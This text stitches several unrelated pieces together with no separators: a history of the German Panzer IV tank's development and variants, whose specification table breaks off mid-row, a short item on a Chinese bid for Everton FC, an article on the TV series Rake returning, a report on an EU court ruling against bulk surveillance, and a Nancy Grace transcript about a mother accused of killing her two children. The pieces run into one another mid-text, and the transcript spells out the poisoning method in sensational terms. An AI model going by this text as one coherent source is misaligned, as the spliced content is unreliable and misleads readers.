The Panzer IV was the brainchild of the German general and innovative armored warfare theorist Heinz Guderian.[6] In concept, it was intended to be a support tank for use against enemy anti-tank guns and fortifications.[7] Ideally, each tank battalion in a panzer division was to have three medium companies of Panzer IIIs and one heavy company of Panzer IVs.[8] On 11 January 1934, the German army wrote the specifications for a "medium tractor", and issued them to a number of defense companies. To support the Panzer III, which would be armed with a 37-millimetre (1.46 in) anti-tank gun, the new vehicle would have a short-barreled, howitzer-like 75-millimetre (2.95 in) as its main gun, and was allotted a weight limit of 24 tonnes (26.46 short tons). Development was carried out under the name Begleitwagen ("accompanying vehicle"),[9] or BW, to disguise its actual purpose, given that Germany was still theoretically bound by the Treaty of Versailles ban on tanks.[10] MAN, Krupp, and Rheinmetall-Borsig each developed prototypes,[8] with Krupp's being selected for further development.[11]
The chassis had originally been designed with a six-wheeled Schachtellaufwerk interleaved-roadwheel suspension (as German half-tracks had already adopted), but the German Army amended this to a torsion bar system. Permitting greater vertical deflection of the roadwheels, this was intended to improve performance and crew comfort both on- and off-road.[11][12] However, due to the urgent requirement for the new tank, neither proposal was adopted, and Krupp instead equipped it with a simple leaf spring double-bogie suspension, with eight rubber-rimmed roadwheels per side.
The prototype required a crew of five men; the hull contained the engine bay to the rear, with the driver and radio operator, who doubled as the hull machine gunner, seated at the front-left and front-right, respectively. In the turret, the tank commander sat beneath his roof hatch, while the gunner was situated to the left of the gun breech and the loader to the right. The turret was offset 66.5 mm (2.62 in) to the left of the chassis center line, while the engine was moved 152.4 mm (6.00 in) to the right. This allowed the torque shaft to clear the rotary base junction, which provided electrical power to turn the turret, while connecting to the transmission box mounted in the hull between the driver and radio operator. Due to the asymmetric layout, the right side of the tank contained the bulk of its stowage volume, which was taken up by ready-use ammunition lockers.[11]
Accepted into service as the Versuchskraftfahrzeug 622 (Vs.Kfz. 622),[10] production began in 1936 at Fried. Krupp Grusonwerk AG factory at Magdeburg.[13]
Ausf. A to Ausf. F1 [ edit ]
Panzer IV Ausf. C 1943
The first mass-produced version of the Panzer IV was the Ausführung A (abbreviated to Ausf. A, meaning "Variant A"), in 1936. It was powered by a Maybach HL108 TR, producing 250 PS (183.87 kW), and used the SGR 75 transmission with five forward gears and one reverse,[14] achieving a maximum road speed of 31 kilometres per hour (19.26 mph).[15] As main armament, the vehicle mounted the short-barreled, howitzer-like 75 mm (2.95 in) Kampfwagenkanone 37 L/24 (7.5 cm KwK 37 L/24) tank gun, which was a low-velocity weapon mainly designed to fire high-explosive shells.[16] Against armored targets, firing the Panzergranate (armor-piercing shell) at 430 metres per second (1,410 ft/s) the KwK 37 could penetrate 43 millimetres (1.69 in), inclined at 30 degrees, at ranges of up to 700 metres (2,300 ft).[17] A 7.92 mm (0.31 in) MG 34 machine gun was mounted coaxially with the main weapon in the turret, while a second machine gun of the same type was mounted in the front plate of the hull.[11] The main weapon and coaxial machine gun were sighted with a Turmzielfernrohr 5b optic while the hull machine gun was sighted with a Kugelzielfernrohr 2 optic.[18] The Ausf. A was protected by 14.5 mm (0.57 in) of steel armor on the front plate of the chassis, and 20 mm (0.79 in) on the turret. This was only capable of stopping artillery fragments, small-arms fire, and light anti-tank projectiles.[19]
The 300 horsepower Maybach HL 120TRM engine used in most Panzer IV production models.
PzKpfw IV Ausf. D
After manufacturing 35 tanks of the A version, in 1937 production moved to the Ausf. B.[10] Improvements included the replacement of the original engine with the more powerful 300 PS (220.65 kW) Maybach HL 120TR, and the transmission with the new SSG 75 transmission, with six forward gears and one reverse gear. Despite a weight increase to 16 t (18 short tons), this improved the tank's speed to 42 kilometres per hour (26.10 mph).[20] The glacis plate was augmented to a maximum thickness of 30 millimetres (1.18 in),[19] while a new driver's visor was installed on the straightened hull front plate, and the hull-mounted machine gun was replaced by a covered pistol port and visor flap.[20] The superstructure width and ammunition stowage were reduced to save weight.[20] A new commander's cupola was introduced which was adopted from the Panzer III Ausf. C.[20] A Nebelkerzenabwurfvorrichtung (smoke grenade discharger rack) was mounted on the rear of the hull starting in July 1938[20] and was back fitted to earlier Ausf. A and Ausf. B chassis starting in August 1938.[21] Forty-two Panzer IV Ausf. Bs were manufactured before the introduction of the Ausf. C in 1938.[10][22] This saw the turret armor increased to 30 mm (1.18 in), which brought the tank's weight to 18.14 t (20.00 short tons).[22] After assembling 40 Ausf. Cs, starting with chassis number 80341, the engine was replaced with the improved HL 120TRM. The last of the 140 Ausf. Cs was produced in August 1939, and production changed to the Ausf. D; this variant, of which 248 vehicles were produced, reintroduced the hull machine gun and changed the turret's internal gun mantlet to a 35 mm (1.38 in)[23] thick external mantlet.[22] Again, protection was upgraded, this time by increasing side armor to 20 mm (0.79 in).[16] As the German invasion of Poland in September 1939 came to an end, it was decided to scale up production of the Panzer IV, which was adopted for general use on 27 September 1939 as the Sonderkraftfahrzeug 161 (Sd.Kfz. 161).[10]
In response to the difficulty of penetrating the armor of British infantry tanks (Matilda and Matilda II) during the Battle of France, the Germans had tested a 50 mm (1.97 in) gun—based on the 5 cm Pak 38 anti-tank gun—on a Panzer IV Ausf. D. However, with the rapid German victory in France, the original order of 80 tanks was canceled before they entered production.[24]
In October 1940, the Ausf. E was introduced. This had 30 millimetres (1.18 in) of armor on the bow plate, while a 30-millimetre (1.18 in) appliqué steel plate was added to the glacis as an interim measure. A new driver's visor, adopted from the Sturmgeschütz III was installed on the hull front plate.[25] A new commander's cupola, adopted from the Panzer III Ausf. G, was relocated forward on the turret eliminating the bulge underneath the cupola.[26] Older model Panzer IV tanks were retrofitted with these features when returned to the manufacturer for servicing. 206 Ausf. Es were produced between October 1940 and April 1941.[3]
The short-barreled Panzer IV Ausf. F1.
In April 1941, production of the Panzer IV Ausf. F started. It featured 50 mm (1.97 in) single-plate armor on the turret and hull, as opposed to the appliqué armor added to the Ausf. E,[22] and a further increase in side armor to 30 mm (1.18 in).[27] The main engine exhaust muffler was shortened and a compact auxiliary generator muffler was mounted to its left.[25] The weight of the vehicle was now 22.3 tonnes (24.6 short tons), which required a corresponding modification of track width from 380 to 400 mm (14.96 to 15.75 in) to reduce ground pressure. The wider tracks also facilitated the fitting of track shoe "ice sprags", and the rear idler wheel and front sprocket were modified.[28] The designation Ausf. F was changed in the meantime to Ausf. F1, after the distinct new model, the Ausf. F2, appeared. A total of 471 Ausf. F (later temporarily called F1) tanks were produced from April 1941 to March 1942.[3]
Ausf. F2 to Ausf. J [ edit ]
On 26 May 1941, mere weeks before Operation Barbarossa, during a conference with Hitler, it was decided to improve the Panzer IV's main armament. Krupp was awarded the contract to integrate again the 50 mm (1.97 in) Pak 38 L/60 gun into the turret. The first prototype was to be delivered by 15 November 1941.[29] Within months, the shock of encountering the Soviet T-34 medium and KV-1 heavy tanks necessitated a new, much more powerful tank gun.[30] In November 1941, the decision to up-gun the Panzer IV to the 50-millimetre (1.97 in) gun was dropped, and instead Krupp was contracted in a joint development to modify Rheinmetall's pending 75 mm (2.95 in) anti-tank gun design, later known as 7.5 cm Pak 40 L/46.
Because the recoil length was too great for the tank's turret, the recoil mechanism and chamber were shortened. This resulted in the 75-millimetre (2.95 in) KwK 40 L/43.[31] When the new KwK 40 was loaded with the Pzgr. 39 armor-piercing shell, the new gun fired the AP shell at some 750 m/s (2,460 ft/s), a substantial 74% increase over the howitzer-like KwK 37 L/24 gun's 430 m/s (1,410 ft/s) muzzle velocity.[28] Initially, the KwK 40 gun was mounted with a single-chamber, ball-shaped muzzle brake, which provided just under 50% of the recoil system's braking ability.[32] Firing the Panzergranate 39, the KwK 40 L/43 could penetrate 77 mm (3.03 in) of steel armor at a range of 1,830 m (6,000 ft).[33]
The longer 7.5 cm guns were a mixed blessing. In spite of the designers' efforts to conserve weight, the new weapon made the vehicle nose-heavy to such an extent that the forward suspension springs were under constant compression. This resulted in the tank tending to sway even when no steering was being applied, an effect compounded by the introduction of the Ausführung H in March 1943.[34]
The 1942 Panzer IV Ausf. F2 was an upgrade of the Ausf. F, fitted with the KwK 40 L/43 anti-tank gun to counter Soviet T-34 medium and KV heavy tanks.
The Ausf. F tanks that received the new, longer, KwK 40 L/43 gun were temporarily named Ausf. F2 (with the designation Sd.Kfz. 161/1). The tank increased in weight to 23.6 tonnes (26.0 short tons). Differences between the Ausf. F1 and the Ausf. F2 were mainly associated with the change in armament, including an altered gun mantlet, internal travel lock for the main weapon, new gun cradle, new Turmzielfernrohr 5f optic for the L/43 weapon, modified ammunition stowage, and discontinuing of the Nebelkerzenabwurfvorrichtung in favor of turret mounted Nebelwurfgeraet.[35] Three months after beginning production, the Panzer IV Ausf. F2 was renamed Ausf. G.[36]
During its production run from March 1942 to June 1943, the Panzer IV Ausf. G went through further modifications, including another armor upgrade which consisted of a 30-millimetre (1.18 in) face-hardened appliqué steel plate welded (later bolted) to the glacis—in total, frontal armor was now 80 mm (3.15 in) thick.[37] This decision to increase frontal armor was favorably received according to troop reports on 8 November 1942, despite technical problems of the driving system due to added weight. At this point, it was decided that 50% of Panzer IV production would be fitted with 30 mm (1.18 in) thick additional armor plates. On 5 January 1943, Hitler decided that all Panzer IV should have 80 mm (3.15 in) frontal armor.[38] To simplify production, the vision ports on either side of the turret and the loader's forward vision port in the turret front were removed, while a rack for two spare road wheels was installed on the track guard on the left side of the hull. Complementing this, brackets for seven spare track links were added to the glacis plate.
For operation in high temperatures, the engine's ventilation was improved by creating slits over the engine deck to the rear of the chassis, and cold weather performance was boosted by adding a device to heat the engine's coolant, as well as a starter fluid injector. A new light replaced the original headlight and the signal port on the turret was removed.[39] On 19 March 1943, the first Panzer IV with Schürzen skirts on its sides and turret was exhibited.[40] The double hatch for the commander's cupola was replaced by a single round hatch from very late model Ausf. G. and the cupola was up-armored from 50 mm (1.97 in) to 95 mm (3.74 in). In April 1943, the KwK 40 L/43 was replaced by the longer 75-millimetre (2.95 in) KwK 40 L/48 gun, with a redesigned multi-baffle muzzle brake with improved recoil efficiency.[41] The longer L/48 resulted in the introduction of the Turmzielfernrohr 5f/1 optic.[42]
Zimmerit anti-magnetic mine coating, turret skirts, and wire-mesh side-skirts. A Panzer IV Ausf H at the Musée des Blindés in Saumur, France, with its distinctiveanti-magnetic mine coating, turret skirts, and wire-mesh side-skirts.
The next version, the Ausf. H, began production in June 1943[3] and received the designation Sd. Kfz. 161/2. The integrity of the glacis armor was improved by manufacturing it as a single 80-millimetre (3.15 in) plate. A reinforced final drive with higher gear ratios was introduced.[43] To prevent adhesion of magnetic anti-tank mines, which the Germans feared would be used in large numbers by the Allies, Zimmerit paste was added to all the vertical surfaces of the tank's armor.[44] The turret roof was reinforced from 10-millimetre (0.39 in) to 16-millimetre (0.63 in) and 25-millimetre (0.98 in) segments.[43] The vehicle's side and turret were further protected by the addition of 5-millimetre (0.20 in) hull skirts and 8-millimetre (0.31 in) turret skirts.[4][45] This resulted in the elimination of the vision ports located on the hull side,[43] as the skirts obstructed their view. During the Ausf. H's production run, its rubber-tired return rollers were replaced with cast steel, a lighter cast front sprocket and rear idler wheel gradually replaced the previous components,[43] the hull was fitted with triangular supports for the easily damaged side skirts, the Nebelwurfgeraet was discontinued, and a mount in the turret roof, designed for the Nahverteidigungswaffe, was plugged by a circular armored plate due to initial production shortages of this weapon.[46][47]
These modifications meant that the tank's weight increased to 25 tonnes (27.56 short tons). In spite of a new six-speed SSG 77 transmission adopted from the Panzer III, top speed dropped to as low as 16 km/h (10 mph) on cross country terrain. An experimental version of the Ausf H was fitted with a hydrostatic transmission but was not put into production.[34]
The Ausf. J was the final production model, and was greatly simplified compared to earlier variants to speed construction. This shows an exported Finnish model.
Despite addressing the mobility problems introduced by the previous model, the final production version of the Panzer IV—the Ausf. J—was considered a retrograde from the Ausf. H. Born of necessity, to replace heavy losses, it was greatly simplified to speed production.[48] The electric generator that powered the tank's turret traverse was removed, so the turret had to be rotated manually. The turret traversing mechanism was modified and fitted with a second gear which made hand-operation easier when the vehicle was on sloping terrain.[49] On reasonably level ground, hand operation at 4 seconds to traverse to 12.5° and 29.5 seconds to traverse to 120° was achieved.[49] The resulting space was later used for the installation of an auxiliary 200-litre (53 US gal) fuel tank; road range was thereby increased to 320 km (200 mi),[50] The remaining pistol and vision ports on the turret side hatches were removed, and the engine's radiator housing was simplified by changing the slanted sides to straight sides.[47] Three sockets with screw threads for mounting a 2-ton jib boom crane were welded on the turret roof while the hull roof was thickened from 11-millimetre (0.43 in) to 16-millimetre (0.63 in).[51] In addition, the cylindrical muffler was replaced by two flame-suppressing mufflers. On June 1944 Wa Prüf 6 had decided that because bomb damage at Panzerfirma Krupp in Essen had seriously jeopardized tank production, all plates which should have been face-hardened for the Panzer IV were instead made with rolled homogeneous armour plate.[51] By late 1944, Zimmerit was no longer being applied to German armored vehicles, and the Panzer IV's side-skirts had been replaced by wire mesh, while the gunner's forward vision port in the turret front was eliminated[52] and the number of return rollers was reduced from four to three to further speed-up production.[53]
In a bid to augment the Panzer IV's firepower, an attempt was made to mate a Schmalturm turret — carrying the longer 75 mm (2.95 in) L/70 tank gun from the developing Panther Ausf. F tank design, and partly developed by Rheinmetall from early 1944 onwards — to a Panzer IV hull. This failed and confirmed that the chassis had reached the limit of its adaptability in both weight and available volume.[48]
Production [ edit ]
Panzer IV production by year[3] Date Number of vehicles Variant (Ausf.) 1937–1939 262 A – D 1940 290 (-24) D, E 1941 480 (+17) E, F 1942 994 F, G 1943 2,983 G, H 1944 3,125 H, J 1945 ~435 J Total ~8,569 all
The Panzer IV was originally intended to be used only on a limited scale, so initially Krupp was its sole manufacturer. Prior to the Polish campaign, only 217 Panzer IVs had been produced: 35 Ausf. A; 42 Ausf. B; and 140 Ausf. C; in 1941, production was extended to Vogtländische Maschinenfabrik("VOMAG") (located in the city of Plauen) and the Nibelungenwerke in the Austrian city of St. Valentin.[3]
In 1941, an average of 39 tanks per month were built; this rose to 83 in 1942, 252 in 1943, and 300 in 1944. However, in December 1943, Krupp's factory was diverted to manufacture the Sturmgeschütz IV and, in the spring of 1944, the Vomag factory began production of the Jagdpanzer IV, leaving the Nibelungenwerke as the only plant still assembling the Panzer IV.[54] With the slow collapse of German industry under pressure from Allied air and ground offensives—in October 1944 the Nibelungenwerke factory was severely damaged during a bombing raid—by March and April 1945, production had fallen to pre-1942 levels, with only around 55 tanks per month coming off the assembly lines.[55]
Panzer IV: comparison of key production features[56] Version Main gun Superstructure armour Hull armour Turret armour Weight Engine Notes F S R F S R F S R Ausf. A
VK622 7.5 cm (3.0 in) KwK 37 L/24 15 mm (0.59 in) 15 mm 15 mm 15 mm 15 mm 15 mm 15 mm 15 mm 15 mm 18.4 t (18.1 long tons; 20.3 short tons) Maybach HL 108TR 250 PS (246.6 hp; 183.9 kW) SGR 75 transmission Ausf. B 7.5 cm KwK 37 L/24 30 mm (1.2 in) 15 mm 15 mm 30 mm 15 mm 15 mm 30 mm 15 mm 15 mm 18.8 t (18.5 long tons; 20.7 short tons) Maybach HL 108TR 250 PS SSG 75 transmission Ausf. C 7.5 cm KwK 37 L/24 30 mm 15 mm 15 mm 30 mm 15 mm 15 mm 30 mm 15 mm 15 mm 19.0 t (18.7 long tons; 20.9 short tons) Maybach HL 120 TRM 300 PS (300 hp; 220 kW) Ausf. D 7.5 cm KwK 37 L/24 30 mm + 30 mm† 20 mm (0.79 in) + 20 mm† 20 mm 30 mm 20 mm 20 mm 30 mm 20 mm 20 mm 20.0 t (19.7 long tons; 22.0 short tons) Maybach HL 120 TRM 300 PS Ausf. E 7.5 cm KwK 37 L/24 30 mm + 30 mm† 20 mm + 20 mm† 20 mm 30 mm + 30 mm† 20 mm + 20 mm† 20 mm 30 mm 20 mm 20 mm 21.0 t (20.7 long tons; 23.1 short tons) Maybach HL 120 TRM 300 PS Ausf. F1 7.5 cm KwK 37 L/24 50 mm (2.0 in) 30 mm 20 mm 50 mm 30 mm 20 mm 50 mm 30 mm 30 mm 22.3 t (21.9 long tons; 24.6 short tons) Maybach HL 120 TRM 300 PS track width increased from 380 to 400 mm (15 to 16 in) Ausf. F2 7.5 cm KwK 40 L/43 50 mm 30 mm 20 mm 50 mm 30 mm 20 mm 50 mm 30 mm 30 mm 23.0 t (22.6 long tons; 25.4 short tons) Maybach HL 120 TRM 300 PS single-chamber, globe, muzzle brake Ausf. G 7.5 cm KwK 40 L/43 50 mm + 30 mm† 30 mm 20 mm 50 mm + 30 mm† 30 mm 20 mm 50 mm 30 mm + 8 mm (0.31 in)‡ 30 mm + 8 mm‡ 23.5 t (23.1 long tons; 25.9 short tons) Maybach HL 120 TRM 300 PS multi-baffle muzzle brake Ausf. H 7.5 cm KwK 40 L/48 80 mm (3.1 in) 30 mm 20 mm 80 mm 30 mm 20 mm 50 mm 30 mm + 8 mm‡ 30 mm + 8 mm‡ 25.0 t (24.6 long tons; 27.6 short tons)
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North West Deals
A Chinese consortium has been linked with a takeover for Everton FC should a potential deal with US investors fall through.
Insider reported in December that a consortium comprising John J Moores, Charles Noell and their partners had been granted a period of exclusivity to examine Everton's finances by current co-owner Bill Kenwright ahead of a £200m deal.
But the Sunday Times has claimed that an unnamed Chinese group is ready to step in should an agreement not be reached. The consortium are described as "very serious bidders".
The potential tie up comes less than two months after the parent of fellow Premier League side Manchester City agreed a transaction with Chinese investors.
The investors in City Football Group (CFG) are led by media, entertainment, sports and internet-dedicated investment and operating company CMC (China Media Capital) Holdings.
The club said that the deal, for a 13 per cent stake, would create an unprecedented platform for the growth of CFG clubs and companies in China and internationally, borne out of CFG's ability to provide a wealth of industry expertise and resources to the rapidly developing Chinese football industry.When we last saw roguish criminal lawyer Cleaver Greene, at the end of the third season of Rake, he was hanging upside down from a rope attached to an out-of-control hot-air balloon sweeping over Sydney Harbour. Back in 2014, the people involved with the series, including showrunner Peter Duncan and his co-creator and co-writer, Andrew Knight, as well as star and producer Richard Roxburgh, thought that it would be the last we would see of their hero. And the image seemed an appropriate visual metaphor for the shambolic protagonist, a man who lurches from one crisis to the next, usually dishevelled, slightly huffy and with little sense of where he is going.
But now, in what Duncan wryly calls "the Nellie Melba of TV shows", that fond and fitting farewell has been revealed as temporary and Cleaver is back in an eight-part series, along with his idiosyncratic gang of family and friends, dodgy acquaintances, crooked coppers and corrupt politicians.
Richard Roxburgh is back to reprise the character of Cleaver Greene as Rake returns for a fourth series. Credit:ABC
So what happened? "It was a combination of things," explains Roxburgh. "We wanted to leave a good-looking corpse and we thought that was a pretty good-looking corpse. But there were a lot of people in mourning about the end of the show. So you start to think, well, across the span of your career you don't get many opportunities to invest so deeply in a character. What's great about series TV is that you're afforded that opportunity: you can take characters to extraordinary places and that's been the great adventure of this so-called golden age of series television. It seemed a shame to have come so far with this wonderful array of characters and then to let it float off after three seasons.
"We always said that if we were going to bring it back, there would have to be good reason to do it. So I met with Peter and Andrew and I pitched my thought for the shape of season four. Although slightly skeptical to start with, they quickly started getting excited about it."Investigatory Powers Act might be illegal
Bulk collection of people’s emails can’t be justified in a democratic society, according to a European Court of Justice ruling that calls into question the legality of the government’s Investigatory Powers Act.
The EU court’s decision follows a legal challenge by Tom Watson, now deputy leader of the Labour Party, and David Davis, now Brexit Secretary for the Tories, into GCHQ’s bulk snooping on people’s phonecall records and online messages.
Today’s ruling said:
“The fact that the data is retained without the users of electronic communications services being informed of the fact is likely to cause the persons concerned to feel that their private lives are the subject of constant surveillance. Consequently, only the objective of fighting serious crime is capable of justifying such interference.”
It concluded that ‘legislation prescribing a general and indiscriminate retention of data does not require there to be any relationship between the data which must be retained and a threat to public security’, adding:
“Such national legislation therefore exceeds the limits of what is strictly necessary and cannot be considered to be justified within a democratic society, as required by the directive, read in the light of the charter.”
The case was originally brought to check what EU law says about surveillance following revelations of spying by GCHQ. The Home Office said it was ‘disappointed’ by the ruling and would put ‘robust arguments’ to the court of appeals.
However, with Britain leaving the EU and the Prime Minister saying she wants to pull out of the European Court of Justice, the ruling could end up being moot.
Tom Watson said:
“This ruling shows it’s counter-productive to rush new laws through parliament without proper scrutiny. Most of us can accept that our privacy may occasionally be compromised in the interests of keeping us safe but no one would consent to giving the police or the government the power to arbitrarily seize our phone records or emails to use as they see fit.”
He added:
“It’s for judges, not ministers, to oversee these powers. I’m pleased the court has upheld the earlier decision of the UK courts.”
See: Theresa May’s Snoopers’ Charter is a ‘death sentence’ for investigative journalismReturn to Transcripts main page
NANCY GRACE
Mother Kills Her Children to Get Back at Cheating Husband
Aired July 10, 2012 - 20:00:00 ET
THIS IS A RUSH TRANSCRIPT. THIS COPY MAY NOT BE IN ITS FINAL FORM AND MAY BE UPDATED.
NANCY GRACE, HOST: Breaking news tonight. An elementary school teacher, a mother of two, forces her 5-year-old boy and 4-month-old baby girl to gulp down windshield fluid mixed with their juice. Then Mommy seals the windows and turns up the gas on the stove. Why? Revenge. She claims her husband cheats.
(BEGIN VIDEO CLIP)
UNIDENTIFIED FEMALE: A young mom of two allegedly murdered her two young children because she believed her husband had cheated on her and gotten another woman pregnant. Lisette Bamenga reportedly poisoned her 5- year-old son, Trevor, and 4-month-old baby girl Lillian, then sealed off the windows of their apartment and turned on the stove`s gas burners.
Bamenga also slit her wrists in a suicide attempt, but her wounds weren`t deep enough to be fatal. Firefighters knocked down the door and attempts were made to revive the children, but they were pronounced dead at the scene.
(END VIDEO CLIP)
GRACE: Good evening. I`m Nancy Grace. I want to thank you for being with us. Bombshell tonight. An elementary school teacher, a mother of two, forces her 5-year-old little boy, her 4-month-old baby girl to gulp down windshield fluid mixed with their juice. Then Mommy seals up the windows and turns up the gas on the stove.
Why? To get back at her husband. She wants revenge after she claims he has an affair. How does she get back? By murdering her little children. Then she claims she tries to commit suicide, but whoops, the wounds aren`t deep enough. So Mommy`s alive tonight, but her two children are dead.
We are taking your calls. Straight out to Jean Casarez, legal correspondent, "In Session." Jean, this was an elaborate plot.
JEAN CASAREZ, "IN SESSION": An elaborate plot because first she had to tape up all the windows and the door and then get that antifreeze type of fluid. And the children allegedly drank it. And then she turned on the burners of the stove.
Two notes found by the bodies that said, "You got what you wanted. Me and the kids are in a better place." Also, "Do not resuscitate" -- DNR -- was another note.
But Nancy, she didn`t drink any of the fluid with the windshield wiper substance in it, she just slit her wrists superficially.
GRACE: You know, Jean Casarez, we have seen over and over and over and over the murder of children, and then the perpetrator claiming they tried to kill themselves. Somehow, they always manage to live and the children die.
An extreme elaborate plot -- out to Ellie Jostad. This is an elementary school teacher, a mother of two, who goes through all types of machinations to murder her two children, a 5-year-old little boy, a 4- month-old baby girl, by forcing them to drink what? The windshield -- the windshield wiper cleaning fluid?
ELLIE JOSTAD, NANCY GRACE PRODUCER (via telephone): Yes, Nancy, it`s actually the deicing fluid that you would use in the wintertime. Experts say that it is a colorless, odorless substance, but it has a sweet taste, so that`s probably how she was able to get the kids to drink it.
And unfortunately, it`s also very poisonous. So they still aren`t sure which actually was the fatal act here. Was it the making them drink the poison, or was it the gas they breathed in from the stove? They`re doing more tests to try to figure out that out right now.
GRACE: Deicer? What is in deicer? And I don`t understand. Would she have to go out and buy that? Ellie, she mixed in what, orange juice, apple juice, their regular little sippy cup? How did this happen?
JOSTAD: Yes, Nancy, she mixed it in some juice for her kids. We don`t know what type of juice, but police said it was, you know, juice that you would normally feed your children. She somehow got them to drink this. And then, you know, she`d gone to all this trouble to actually tape up all the windows, seal them airtight with plastic. And then she just turned on those gas burners and let the room fill up with gas.
GRACE: What was their final COD, Ellie? Did they die of drinking the deicer mixed with juice in their sippy cups or did they die of breathing in the gas from the gas oven?
JOSTAD: Well, that is what the medical examiner is still trying to find out. The autopsy results are not completed yet. They are running more tests to try to figure out what actually killed these children. Did they breathe in gas or were they dead already from this toxic drink their mother allegedly fed them?
GRACE: And let me guess. She`s on a medical ward somewhere, is that right, being observed, Ellie?
JOSTAD: Right. According to relatives we spoke to today, she is actually still in the hospital. Police say that those wounds she had, cuts to the wrists, were just superficial, not deep enough to kill her. She is going to get a psychiatric evaluation, so that`ll happen before she probably ends up in jail.
GRACE: What did she try to slit her wrists with? Let me think, a crayon? What?
JOSTAD: Right. We still don`t know that yet, Nancy. Police say then they got there, she was bleeding. And another thing I should point out, too. A neighbor said he heard strange sounds that night. He says he heard three loud thumps, as if somebody was dragging something on the floor, something hit the floor hard. And then he said he heard just this eerie silence. So who knows, you know, what else the medical examiner might find, whether or not there were other injuries to the children, in addition to this poisoning from both the juice and the gas.
GRACE: Joining me right now, Brett Larson, afternoon anchor, 101.9. Brett, what more can you tell us?
BRETT LARSON, FM NEWS 101.9 (via telephone): Well, Nancy, I mean, it`s -- aside from being just an atrocious -- an atrocious way to die and how anyone could kill their own children -- you know, the neighbors also had complained of there being a heavy smell of gas in the building. One of the neighbors was just amazed that the apartment didn`t blow up.
I mean, this is -- it`s summertime. It`s hot. She`s got gas running in this well-sealed apartment. Somebody just wipes (ph) a match or maybe a firecracker accidentally goes off, we could have had a very different story on our hands. Maybe the mother would have been dead.
I mean, she`s been charged with two counts of first-degree murder. She`s getting a battery of psychiatric evaluations. But what`s interesting about this -- she`s a school teacher. She teaches young children. She brought her new child into the classroom to show it off.
The question that we can`t seem to get answered is, doesn`t she have to have some sort of psychological evaluation to be a school teacher, to be in front of children, that she`s now accused of killing her own?
GRACE: So Brett Larson, this whole theory that she`s going to pursue, I guarantee you, mental insanity, is not going to work. She is a school teacher, an elementary school teacher in the public school system.
Brett Larson, what I don`t understand is, all this because she thinks her husband had an affair?
LARSON: Yes. Why not just confront the husband and say, Hey, what`s going on here? I mean, this was -- this -- I can`t see how this can be two counts of first-degree murder and not something more premeditated. I mean, you have to think about getting deicer. You have to think about the fact that your kids are probably going to drink it because it`s colorless and odorless. You have to think about getting plastic and -- and tape to tape up your windows.
I mean, I guess what you don`t have to think about is what you`re going to use to slit your own wrists so that the cuts are deep enough and not just these superficial wounds that -- that the cops said that she got.
But it`s -- this is -- this is crazy, that she`s -- you know, she walks away from this just because she thinks her husband was having an affair. Her husband`s only a couple years older than...
GRACE: Well, Brett Larsen, why the children? Why the children, Brett Larson? If she wanted to get revenge on him -- this is all about revenge. A seemingly beautiful young elementary school teacher in the public schools, big smile, beautiful family, a boy, a girl, apparently a loving husband. It all goes bad. The children are found dead in the home.
She claims it was all about revenge on the husband that had an affair and got some other woman pregnant. So if she`s angry at him -- did anybody hear about Lorena Bobbitt? I sure heard all about it! So why did she go after the children? Why not him?
LARSON: Exactly. Why not -- why not, you know, beat him up after work? Or why not just take the kids and disappear, you know, go home to parents or...
GRACE: Why not get a divorce? Hey, why not a divorce, Brett? What`s wrong with that idea, Brett Larsen?
LARSON: Divorce is very expensive. Maybe she just didn`t want to pay for the divorce, but I mean, to kill the kids just...
GRACE: I`m just sick about it! And to think...
(CROSSTALK)
GRACE: I mean, hey, Brett, do you have children?
LARSON: I don`t. I have -- I have a dog.
GRACE: Let me tell you something. Let me tell you something. Mine are about this age. They`re 4-and-a-half. This is a 5-year-old boy and a 4-month-old little girl. They look at you to give them what they need. If I give them juice, if I give them water, if I give them medicine, it`s up to me to do the right thing.
But this mother, in an angry fit, seeking revenge when she learns her hubby allegedly has an affair, takes it out on the children, forcing them to gulp down windshield deicer mixed in their juice in their sippy cups, then tapes up the windows and turns the gas stove on high.
It`s sick! I want the death penalty!
(COMMERCIAL BREAK)
(BEGIN VIDEO CLIP)
UNIDENTIFIED FEMALE: Scary. Just hope -- you know, sorry for the family. They have my condolences.
UNIDENTIFIED FEMALE: Condolences for a family seen sobbing uncontrollably. Unidentified relatives came to speak with investigators in Parkchester (ph) Friday afternoon after two of their little loved ones, Trevor Noel, Jr., and Lillian Noel died inside.
UNIDENTIFIED MALE: I mean, I seen the babies, but they pulled the baby out as soon as the door was open.
UNIDENTIFIED FEMALE: The 5-year-old boy and his 4-month-old baby sister were pulled from a ninth floor apartment on 1500 Noble Avenue after residents complained of a gas leak just before midnight.
UNIDENTIFIED MALE: At about 10:30 when I got home, it smelled like gas on the floor, the 9th floor. And then shortly after, the cops came.
(END VIDEO CLIP)
GRACE: We are taking your calls. Out to Kathy in California. Hi, Kathy. What`s your question, dear?
UNIDENTIFIED FEMALE: Hi, Nancy. I want to know if there`s any kind of warning signs. I have a 2-and-a-half-year-old and a 3-and-a-half-year- old. And how would I know, like, something like this would happen? This is insane. I don`t understand how I can protect my children from something like this. How would I know myself (ph) would do something like this?
GRACE: Well, what`s crazy to me is that this attractive young woman, beautiful smile, seemingly a happy family, was teaching in the public school system! She was exposed to everybody`s children every single day.
And in her mind, the answer to her husband having an affair was to force her children to drink windshield fluid deicer. The main ingredient is methyl alcohol. It`s wood alcohol. Deicer causes abdominal pain, blindness, blue skin, lips and fingernails, blurred vision. You can`t breathe, confusion, dizziness, headache, cramps, seizure, vomiting.
That`s what this woman put her 5-year-old son and her 4-month-old baby girl through just to seek revenge on a cheating husband -- allegedly, a cheating husband. I don`t know if there were warning signs. Apparently, the public school system thought she was just fine. Then she claims she tried to kill herself.
Why is it, Dr. Patricia Saunders, they never kill themselves, they just kill their children?
PATRICIA SAUNDERS, CLINICAL PSYCHOLOGIST: Well, because they`re so egocentric that their attachment to their children isn`t genuine or real. It`s about their ego, about their injured ego. Nobody who had any attachment to their child would torture their children like this.
And you`re right, it is very carefully staged. There`s a malignancy in this woman that really needs to be put behind bars.
GRACE: Unleash the lawyers, Jennifer Smatters, Randy Kessler, Kirby Clements. Randy Kessler, why is she still on the medical wing? There`s nothing wrong with her.
RANDY KESSLER, DEFENSE ATTORNEY: Well, I mean, we`re not doctors. We`re not psychologists. Obviously, something is very, very, very wrong with her, in my opinion, just from the outsider looking in.
GRACE: Yes, she`s a killer.
KESSLER: Well, she`s also done -- she`s done more than just kill. She`s done it in a brutal way. She`s done it for reasons that nobody else thinks are rational.
